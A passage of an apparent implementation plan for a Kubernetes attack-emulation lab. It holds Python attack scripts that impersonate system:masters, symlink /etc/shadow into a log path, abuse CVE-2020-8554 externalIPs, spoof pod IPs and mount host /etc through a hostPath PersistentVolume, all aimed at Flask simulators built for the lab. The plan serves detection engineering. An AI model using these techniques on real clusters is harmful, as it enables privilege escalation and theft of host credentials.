dependencies. + +**Tech Stack:** Python 3, Flask (embedded in EC2 user_data), Pulumi AWS, Sigma rule YAML, KQL (Kubernetes audit log variant) + +## Global Constraints + +- Never modify `registry.py` — emulations are auto-discovered +- All Flask endpoints in `infra/__main__.py` are embedded inside the `user_data` heredoc string — keep Python indentation correct inside that string +- `attack.py` must expose `run(outputs: dict, region: str = "us-east-1") -> None` +- Detection Sigma: `logsource.product: kubernetes`, `logsource.service: audit` +- Detection KQL: use `KubernetesAuditLogs` table with `| extend log = parse_json(AuditLog)` pattern (matches what SIEM ingestion produces from K8s audit JSON) +- All `detections/` filenames lowercase: `sigma_t.yml` and `kql_t.kql` +- Tasks 1–2 are sequential prerequisites; Tasks 3–5 and Tasks 6–10 are fully independent and can be parallelized + +--- + +### Task 1: Fix MANIFEST metadata (technique_count, phase_count, T1611 mapping) + +**Files:** +- Modify: `emulations/k8s_rbac_impersonation/MANIFEST.py` +- Modify: `emulations/k8s_writable_log_escape/MANIFEST.py` +- Modify: `emulations/k8s_pvc_psa_bypass/MANIFEST.py` + +**Convention confirmed:** `technique_count == len(mitre_mappings)`. + +- [ ] **Step 1: Fix k8s_rbac_impersonation — technique_count 1 → 2** + +In `emulations/k8s_rbac_impersonation/MANIFEST.py`, change: +```python + "technique_count": 1, +``` +to: +```python + "technique_count": 2, +``` + +- [ ] **Step 2: Fix k8s_writable_log_escape — technique_count 1 → 2** + +In `emulations/k8s_writable_log_escape/MANIFEST.py`, change: +```python + "technique_count": 1, +``` +to: +```python + "technique_count": 2, +``` + +- [ ] **Step 3: Fix k8s_pvc_psa_bypass — phase_count, technique_count, attack_path, and add T1611** + +Replace the entire `k8s_pvc_psa_bypass/MANIFEST.py` content: + +```python +"""MANIFEST for k8s_pvc_psa_bypass.""" +MANIFEST = { + "schema_version": 2, + "name": "k8s_pvc_psa_bypass", + "display_name": "K8s PSA Bypass via PV Abuse", + "description": ( + "Demonstrates how an attacker bypasses baseline Pod Security Admission (PSA) " + "by mounting host-paths using raw PersistentVolume and Claims, then reads " + "sensitive host files from inside an otherwise unprivileged pod." + ), + "tier": "enterprise", + "platform": "k8s", + "added": "2026-06", + "origin": "unknown", + "origin_label": "K8S EMULATION", + "tags": ["Kubernetes", "Pod Security Admission", "Bypass", "PersistentVolume", "Host Escape"], + "technique_count": 2, + "severity": "HIGH", + "aliases": "PV Abuse Bypass", + "attribution": "Various cloud exploitation frameworks", + "active_since": "2022", + "targets": "K8s clusters relying solely on PSA baseline configurations without storage admission restrictions", + "incidents": ["Generic cloud infrastructure compromise"], + "attack_path": [ + { + "phase": 1, + "name": "PSA Bypass via HostPath PV", + "techniques": [{"id": "T1211", "name": "Exploitation for Defense Evasion"}], + }, + { + "phase": 2, + "name": "Host Filesystem Read from Pod", + "techniques": [{"id": "T1611", "name": "Escape to Host"}], + } + ], + "mitre_mappings": [ + { + "id": "T1211", + "name": "Exploitation for Defense Evasion", + "tactic": "Defense Evasion", + "platform": "Kubernetes", + "description": "Circumventing container file restrictions by creating hostPath-backed PVs that PSA does not inspect." + }, + { + "id": "T1611", + "name": "Escape to Host", + "tactic": "Privilege Escalation", + "platform": "Kubernetes", + "description": "Mounting the hostPath PV inside a pod to read sensitive host files (e.g. /etc/passwd) from an otherwise unprivileged container." + } + ], + "references": [ + {"icon": "#", "title": "Bypassing PSA via Storage", "source": "Kubernetes Docs", "type": "DOCUMENTATION", "color": "purple"} + ], + "phase_count": 2, + "estimated_duration_minutes": 10, + "estimated_cost_per_hour_usd": 0.015, + "default_ttl_hours": 2, + "total_resources": 6, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": False, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "EC2 Host", "count": 1, "cost_per_hour_usd": 0.015} + ] +} +``` + +- [ ] **Step 4: Commit** + +```bash +git add emulations/k8s_rbac_impersonation/MANIFEST.py emulations/k8s_writable_log_escape/MANIFEST.py emulations/k8s_pvc_psa_bypass/MANIFEST.py +git commit -m "fix: correct technique_count and phase metadata in k8s MANIFESTs" +``` + +--- + +### Task 2: Add startup health-check polling to all 5 attack.py files + +**Files:** +- Modify: `emulations/k8s_rbac_impersonation/attack.py` +- Modify: `emulations/k8s_writable_log_escape/attack.py` +- Modify: `emulations/k8s_pvc_psa_bypass/attack.py` +- Modify: `emulations/k8s_external_ips_mitm/attack.py` +- Modify: `emulations/k8s_pod_status_mitm/attack.py` + +**Why:** EC2 user_data installs Docker, builds a container image, then starts it. This takes 3–5 minutes after Pulumi returns the IP. Without a health check, the first `run()` call fails with `ConnectionRefusedError`. + +Each attack.py gets a `_wait_for_simulator(url)` helper added at the top, and a call to it at the start of `run()`. + +- [ ] **Step 1: Update k8s_rbac_impersonation/attack.py** + +Replace file content: +```python +import time +import requests +import json + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + headers = {"Authorization": "Bearer stolen-dev-token"} + + print("[*] Phase 1: Self Subject Rules Review (Permission Enumeration)") + try: + resp = requests.post(f"{url}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews", headers=headers, timeout=10) + if resp.status_code == 200: + print("[+] Successfully queried SelfSubjectRulesReviews!") + print(f"[+] Permissions returned: {resp.json().get('status', {}).get('resourceRules')}") + else: + print(f"[-] SSRR failed with status code {resp.status_code}") + except Exception as e: + print(f"[-] Connection failed: {e}") + return + + print("[*] Phase 2: Attempting Privilege Escalation via Impersonation") + imp_headers = { + **headers, + "Impersonate-User": "admin-sa", + "Impersonate-Group": "system:masters" + } + + try: + resp = requests.get(f"{url}/api/v1/secrets", headers=imp_headers, timeout=10) + if resp.status_code == 200: + print("[+] Privilege Escalation Successful!") + print(f"[+] Retrieved Secret: {resp.json()}") + else: + print(f"[-] Impersonation failed with status code {resp.status_code}") + except Exception as e: + print(f"[-] Impersonation request failed: {e}") +``` + +- [ ] **Step 2: Update k8s_writable_log_escape/attack.py** + +Replace file content: +```python +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Creating symlink inside the writable mount /var/log") + log_path = "/var/log/pods/webapp.log" + target_file = "/etc/shadow" + cmd_payload = f"ln -s {target_file} {log_path}" + + try: + resp = requests.post(f"{url}/cmd", data={"cmd": cmd_payload}, timeout=10) + print(f"[+] Pod output: {resp.text.strip()}") + except Exception as e: + print(f"[-] Execution failed: {e}") + return + + print("[*] Phase 2: Fetching Node logs via Kubelet/API proxy subresource") + try: + resp = requests.get(f"{url}/api/v1/nodes/worker-1/proxy/logs", params={"path": log_path}, timeout=10) + if resp.status_code == 200: + print("[+] Host escape successful! Read contents of /etc/shadow:") + print(resp.text) + else: + print(f"[-] Log fetch failed with status code {resp.status_code}") + except Exception as e: + print(f"[-] Log fetch request failed: {e}") +``` + +- [ ] **Step 3: Update k8s_external_ips_mitm/attack.py** + +Replace file content (full content shown in Task 4 after attack chain is extended; add health check now): +```python +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Intercepting Traffic via CVE-2020-8554 External IPs Service") + service_spec = { + "apiVersion": "v1", + "kind": "Service", + "metadata": {"name": "mitm-service"}, + "spec": { + "selector": {"app": "attacker-pod"}, + "ports": [{"port": 80, "targetPort": 8080}], + "externalIPs": ["8.8.8.8"] + } + } + + try: + resp = requests.post(f"{url}/api/v1/namespaces/default/services", json=service_spec, timeout=10) + if resp.status_code == 201: + print("[+] External IPs hijack service deployed successfully!") + print(f"[+] Hijacked route info: {resp.json()}") + else: + print(f"[-] Service creation failed with status code {resp.status_code}") + return + except Exception as e: + print(f"[-] Request failed: {e}") + return + + print("[*] Phase 2: Simulating victim pod traffic to 8.8.8.8 (intercepted by attacker)") + try: + resp = requests.post(f"{url}/simulate/victim-traffic", json={"destination": "8.8.8.8", "payload": "DNS query: example.com"}, timeout=10) + if resp.status_code == 200: + result = resp.json() + print(f"[+] Traffic interception confirmed!") + print(f"[+] Victim sent to: {result.get('intended_destination')}") + print(f"[+] Traffic received by: {result.get('actual_receiver')} (attacker-pod)") + print(f"[+] Intercepted payload: {result.get('intercepted_payload')}") + else: + print(f"[-] Traffic simulation failed: {resp.status_code}") + except Exception as e: + print(f"[-] Traffic simulation request failed: {e}") +``` + +- [ ] **Step 4: Update k8s_pod_status_mitm/attack.py** + +Replace file content (full content shown in Task 5 after attack chain extended; add health check now): +```python +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Spoofing Pod IP via status.podIP Patch request") + status_patch = { + "status": { + "podIP": "10.244.9.99" + } + } + + try: + headers = {"Content-Type": "application/strategic-merge-patch+json"} + resp = requests.patch( + f"{url}/api/v1/namespaces/default/pods/victim-pod/status", + json=status_patch, + headers=headers, + timeout=10 + ) + if resp.status_code == 200: + print("[+] Pod IP spoofed successfully!") + print(f"[+] Hijacked status config: {resp.json()}") + else: + print(f"[-] Status patch failed with status code {resp.status_code}") + return + except Exception as e: + print(f"[-] Request failed: {e}") + return + + print("[*] Phase 2: Verifying service traffic now routes to attacker-controlled IP") + try: + resp = requests.post( + f"{url}/simulate/service-traffic", + json={"service": "victim-svc", "client_payload": "GET /api/data HTTP/1.1"}, + timeout=10 + ) + if resp.status_code == 200: + result = resp.json() + print(f"[+] Traffic redirect confirmed!") + print(f"[+] Service 'victim-svc' now routes to: {result.get('routed_to_ip')}") + print(f"[+] Attacker IP is: {result.get('attacker_ip')}") + print(f"[+] Client payload intercepted: {result.get('intercepted_payload')}") + else: + print(f"[-] Traffic simulation failed: {resp.status_code}") + except Exception as e: + print(f"[-] Traffic simulation request failed: {e}") +``` + +- [ ] **Step 5: Update k8s_pvc_psa_bypass/attack.py** (also extends chain — final content for this file) + +Replace file content: +```python +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Creating HostPath-backed PersistentVolume (PSA Bypass)") + pv_spec = { + "apiVersion": "v1", + "kind": "PersistentVolume", + "metadata": {"name": "bypass-pv"}, + "spec": { + "capacity": {"storage": "1Gi"}, + "accessModes": ["ReadWriteOnce"], + "hostPath": {"path": "/etc"} + } + } + + try: + resp = requests.post(f"{url}/api/v1/persistentvolumes", json=pv_spec, timeout=10) + if resp.status_code == 201: + print("[+] PersistentVolume created successfully!") + print(f"[+] PV metadata: {resp.json()}") + else: + print(f"[-] PV creation failed: {resp.status_code}") + return + except Exception as e: + print(f"[-] PV request failed: {e}") + return + + print("[*] Phase 2: Creating PersistentVolumeClaim to mount host storage") + pvc_spec = { + "apiVersion": "v1", + "kind": "PersistentVolumeClaim", + "metadata": {"name": "bypass-pvc"}, + "spec": { + "accessModes": ["ReadWriteOnce"], + "resources": {"requests": {"storage": "1Gi"}}, + "volumeName": "bypass-pv" + } + } + + try: + resp = requests.post(f"{url}/api/v1/namespaces/default/persistentvolumeclaims", json=pvc_spec, timeout=10) + if resp.status_code == 201: + print("[+] PersistentVolumeClaim created and bound!") + print(f"[+] PVC metadata: {resp.json()}") + else: + print(f"[-] PVC creation failed: {resp.status_code}") + return + except Exception as e: + print(f"[-] PVC request failed: {e}") + return + + print("[*] Phase 3: Creating pod that mounts PVC and reading host /etc/passwd") + pod_spec = { + "apiVersion": "v1", + "kind": "Pod", + "metadata": {"name": "bypass-pod"}, + "spec": { + "containers": [{"name": "attacker", "image": "alpine", "command": ["cat", "/mnt/host/passwd"]}], + "volumes": [{"name": "host-vol", "persistentVolumeClaim": {"claimName": "bypass-pvc"}}] + } + } + + try: + resp = requests.post(f"{url}/api/v1/namespaces/default/pods", json=pod_spec, timeout=10) + if resp.status_code == 201: + print("[+] Pod scheduled with PVC mount!") + else: + print(f"[-] Pod creation failed: {resp.status_code}") + return + except Exception as e: + print(f"[-] Pod creation request failed: {e}") + return + + try: + resp = requests.post(f"{url}/pod-exec", json={"pod": "bypass-pod", "cmd": "cat /mnt/host/passwd"}, timeout=10) + if resp.status_code == 200: + result = resp.json() + print("[+] Host escape via PVC successful! Contents of host /etc/passwd:") + print(result.get("output", "")) + else: + print(f"[-] Pod exec failed: {resp.status_code}") + except Exception as e: + print(f"[-] Pod exec request failed: {e}") +``` + +- [ ] **Step 6: Commit** + +```bash +git add emulations/k8s_rbac_impersonation/attack.py emulations/k8s_writable_log_escape/attack.py emulations/k8s_pvc_psa_bypass/attack.py emulations/k8s_external_ips_mitm/attack.py emulations/k8s_pod_status_mitm/attack.py +git commit -m "fix: add startup health-check polling and extend attack chains in k8s attack.py files" +``` + +--- + +### Task 3: Complete k8s_pvc_psa_bypass attack chain in infra + +**Files:** +- Modify: `emulations/k8s_pvc_psa_bypass/infra/__main__.py` + +Add three new Flask endpoints to the embedded app: +1. `POST /api/v1/namespaces/default/persistentvolumeclaims` — accepts PVC spec (namespaced version of the existing endpoint) +2. `POST /api/v1/namespaces/default/pods` — creates a pod record referencing the PVC +3. `POST /pod-exec` — simulates exec into a pod that has the PVC mounted; returns the simulated host file contents + +- [ ] **Step 1: Replace emulations/k8s_pvc_psa_bypass/infra/__main__.py** + +```python +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_PSA_BYPASS"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-pvc-vpc-{stack_name}", cidr_block="10.130.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-pvc-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-pvc-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.130.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-pvc-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-pvc-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-pvc-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +HOST_FILESYSTEM = { + "/etc/passwd": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin", + "/etc/shadow": "root:$6$vulnerable_root_hash:19500:0:99999:7:::", + "/etc/kubernetes/admin.conf": "apiVersion: v1\\nkind: Config\\nclusters:\\n- name: minikube" +} + +RESOURCES = { + "pv": [], + "pvc": [], + "pods": [] +} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/api/v1/persistentvolumes', methods=['POST']) +def create_pv(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + host_path = data.get("spec", {}).get("hostPath", {}).get("path", "") + if not name or not host_path: + return "Bad request", 400 + pv = {"name": name, "hostPath": host_path, "status": "Available"} + RESOURCES["pv"].append(pv) + return jsonify({"status": "Created", "pv": pv}), 201 + +@app.route('/api/v1/namespaces/default/persistentvolumeclaims', methods=['POST']) +def create_pvc(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + volume_name = data.get("spec", {}).get("volumeName", "") + if not name: + return "Bad request", 400 + bound_host_path = None + for pv in RESOURCES["pv"]: + if pv["name"] == volume_name or not volume_name: + bound_host_path = pv["hostPath"] + pv["status"] = "Bound" + break + pvc = {"name": name, "volumeName": volume_name, "boundHostPath": bound_host_path, "status": "Bound"} + RESOURCES["pvc"].append(pvc) + return jsonify({"status": "Created", "pvc": pvc}), 201 + +@app.route('/api/v1/namespaces/default/pods', methods=['POST']) +def create_pod(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + if not name: + return "Bad request", 400 + volumes = data.get("spec", {}).get("volumes", []) + pvc_claim = None + for vol in volumes: + pvc_ref = vol.get("persistentVolumeClaim", {}).get("claimName") + if pvc_ref: + pvc_claim = pvc_ref + break + bound_host_path = None + for pvc in RESOURCES["pvc"]: + if pvc["name"] == pvc_claim: + bound_host_path = pvc.get("boundHostPath") + break + pod = {"name": name, "pvcClaim": pvc_claim, "mountedHostPath": bound_host_path, "status": "Running"} + RESOURCES["pods"].append(pod) + return jsonify({"status": "Created", "pod": pod}), 201 + +@app.route('/pod-exec', methods=['POST']) +def pod_exec(): + data = request.json or {} + pod_name = data.get("pod", "") + cmd = data.get("cmd", "") + pod = next((p for p in RESOURCES["pods"] if p["name"] == pod_name), None) + if not pod: + return "Pod not found", 404 + host_path = pod.get("mountedHostPath", "") + if "passwd" in cmd and host_path == "/etc": + output = HOST_FILESYSTEM.get("/etc/passwd", "") + return jsonify({"pod": pod_name, "cmd": cmd, "output": output, "note": "Read from host path /etc via PVC mount"}) + if "shadow" in cmd and host_path == "/etc": + output = HOST_FILESYSTEM.get("/etc/shadow", "") + return jsonify({"pod": pod_name, "cmd": cmd, "output": output, "note": "Read from host path /etc via PVC mount"}) + return jsonify({"pod": pod_name, "cmd": cmd, "output": "command executed", "mountedHostPath": host_path}) + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-pvc . +docker run -d --name k8s-pvc -p 8080:8080 --restart unless-stopped k8s-pvc +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-pvc-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) +``` + +- [ ] **Step 2: Commit** + +```bash +git add emulations/k8s_pvc_psa_bypass/infra/__main__.py +git commit -m "feat: complete k8s_pvc_psa_bypass attack chain with pod creation and host file read phase" +``` + +--- + +### Task 4: Complete k8s_external_ips_mitm attack chain in infra + +**Files:** +- Modify: `emulations/k8s_external_ips_mitm/infra/__main__.py` + +Add: +1. Change endpoint from `/api/v1/services` to `/api/v1/namespaces/default/services` (correct K8s path) +2. `POST /simulate/victim-traffic` — simulates a victim pod sending traffic to a hijacked IP; the response shows it was received by the attacker service + +- [ ] **Step 1: Replace emulations/k8s_external_ips_mitm/infra/__main__.py** + +```python +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_MITM_CVE"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-mitm-vpc-{stack_name}", cidr_block="10.140.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-mitm-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-mitm-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.140.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-mitm-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-mitm-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-mitm-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +RESOURCES = { + "services": [] +} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/api/v1/namespaces/default/services', methods=['POST']) +def create_service(): + data = request.json or {} + name = data.get("metadata", {}).get("name", "") + external_ips = data.get("spec", {}).get("externalIPs", []) + selector = data.get("spec", {}).get("selector", {}) + if not name or not external_ips: + return "Bad request", 400 + service = {"name": name, "externalIPs": external_ips, "selector": selector} + RESOURCES["services"].append(service) + return jsonify({"status": "Created", "service": service}), 201 + +@app.route('/simulate/victim-traffic', methods=['POST']) +def simulate_victim_traffic(): + data = request.json or {} + destination = data.get("destination", "") + payload = data.get("payload", "") + hijacked_service = next( + (s for s in RESOURCES["services"] if destination in s.get("externalIPs", [])), + None + ) + if not hijacked_service: + return jsonify({"note": "No hijack active for this destination", "destination": destination}), 200 + return jsonify({ + "intended_destination": destination, + "actual_receiver": hijacked_service["selector"].get("app", "attacker-pod"), + "intercepted_payload": payload, + "hijacking_service": hijacked_service["name"], + "note": "kube-proxy redirected traffic via externalIPs rule (CVE-2020-8554)" + }), 200 + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-mitm . +docker run -d --name k8s-mitm -p 8080:8080 --restart unless-stopped k8s-mitm +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-mitm-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) +``` + +- [ ] **Step 2: Commit** + +```bash +git add emulations/k8s_external_ips_mitm/infra/__main__.py +git commit -m "feat: complete k8s_external_ips_mitm attack chain with traffic interception simulation" +``` + +--- + +### Task 5: Complete k8s_pod_status_mitm attack chain in infra + +**Files:** +- Modify: `emulations/k8s_pod_status_mitm/infra/__main__.py` + +Add `POST /simulate/service-traffic` that routes to the pod by current `podIP` and shows redirection to the attacker IP after the patch. + +- [ ] **Step 1: Replace emulations/k8s_pod_status_mitm/infra/__main__.py** + +```python +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_STATUS_MITM"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-stat-vpc-{stack_name}", cidr_block="10.150.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-stat-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-stat-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.150.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-stat-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-stat-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-stat-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +ATTACKER_IP = "10.244.9.99" + +RESOURCES = { + "pod_status": { + "name": "victim-pod", + "podIP": "10.244.1.20", + "podIPs": [{"ip": "10.244.1.20"}] + } +} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/api/v1/namespaces/default/pods/victim-pod/status', methods=['PATCH']) +def patch_status(): + data = request.json or {} + new_ip = data.get("status", {}).get("podIP") + if not new_ip: + return "Bad request: missing status.podIP", 400 + RESOURCES["pod_status"]["podIP"] = new_ip + RESOURCES["pod_status"]["podIPs"] = [{"ip": new_ip}] + return jsonify({ + "apiVersion": "v1", + "kind": "Pod", + "metadata": {"name": "victim-pod", "namespace": "default"}, + "status": RESOURCES["pod_status"] + }) + +@app.route('/simulate/service-traffic', methods=['POST']) +def simulate_service_traffic(): + data = request.json or {} + service = data.get("service", "victim-svc") + payload = data.get("client_payload", "") + current_pod_ip = RESOURCES["pod_status"]["podIP"] + intercepted = (current_pod_ip == ATTACKER_IP) + return jsonify({ + "service": service, + "routed_to_ip": current_pod_ip, + "attacker_ip": ATTACKER_IP, + "intercepted": intercepted, + "intercepted_payload": payload if intercepted else None, + "note": ( + "Traffic hijacked: endpoint now points to attacker-controlled IP" + if intercepted else + "Traffic flowing normally to legitimate pod IP" + ) + }) + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-stat . +docker run -d --name k8s-stat -p 8080:8080 --restart unless-stopped k8s-stat +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-stat-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) +``` + +- [ ] **Step 2: Commit** + +```bash +git add emulations/k8s_pod_status_mitm/infra/__main__.py +git commit -m "feat: complete k8s_pod_status_mitm attack chain with traffic redirect verification" +``` + +--- + +### Task 6: Detection files for k8s_rbac_impersonation + +**Files:** +- Create: `emulations/k8s_rbac_impersonation/detections/sigma_t1069.yml` +- Create: `emulations/k8s_rbac_impersonation/detections/kql_t1069.kql` +- Create: `emulations/k8s_rbac_impersonation/detections/sigma_t1548.yml` +- Create: 